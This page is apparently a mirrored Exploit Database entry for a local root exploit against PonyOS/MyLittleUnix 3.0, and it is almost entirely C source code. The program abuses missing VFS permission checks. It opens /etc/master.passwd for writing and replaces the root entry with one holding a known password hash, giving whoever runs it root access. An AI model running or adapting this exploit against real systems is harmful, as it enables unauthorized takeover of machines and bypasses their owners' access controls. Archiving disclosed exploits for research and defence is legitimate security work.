Linux Kernel (PonyOS 3.0) – VFS Permissions Local Privilege Escalation

• Exploit Database
• 17 阅读

• 作者： Hacker Fantastic
  日期： 2015-06-01
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/37167/

• /* MyLittleUnix <= 3.0 VFS permissions root exploit 
   ================================================
   File permissions are not checked, we can abuse 
   this to replace the root user password with our
   own and escalate our privileges. This exploit 
   now 20% cooler and tested on latest 3.0 mlp OS.
  
   -- prdelka
  */
  #include <stdio.h>
  #include <stdlib.h>
  #include <sys/stat.h>
  #include <sys/types.h>
  #include <sys/stat.h>
  #include <fcntl.h>
  
  char* pwnystr = "root:07821d2459368443042007bf1c7cdf3c55284"
  		"29a65f8f10ce388d301b47865a283147bfd290545b"
  		"0b9b12ae622a8eb359497cb3635506f99d2f5e4c4e"
  		"594cadd:0:0:HackerFantastic:/home/root:/bi"
  		"n/sh:fancy\n";
  
  int main(){
  	int fd, r;
  	struct stat *fileinfo = malloc(sizeof(struct stat));
  	char *buffer, *line, *filenm = "/etc/master.passwd";
  	printf("[+] MyLittleUnix <=3.0 VFS permissions local root exploit\n");
  	fd = open(filenm,O_RDWR);
  	r = stat(filenm,fileinfo);
  	buffer = malloc((uint)fileinfo->st_size);
  	if(buffer){
  		read(fd,buffer,fileinfo->st_size);
  	}
  	else{
  		printf("[!] No pwn for you pwnie\n");
  		exit(0);
  	}
  	lseek(fd,0,SEEK_SET);
  	line = strtok(buffer,"\n");
  	while(line){
  		if(strstr(line,"root:")){
  			write(fd,pwnystr,strlen(pwnystr));
  		}
  		else{
  			write(fd,line,strlen(line));
  			write(fd,"\n",strlen("\n"));
  		}
  		line = strtok(NULL,"\n");
  	}
  	close(fd);
  	printf("[-] 20percent COOLER! user 'root' password is 'pwnies'\n");
  	exit(0);
  }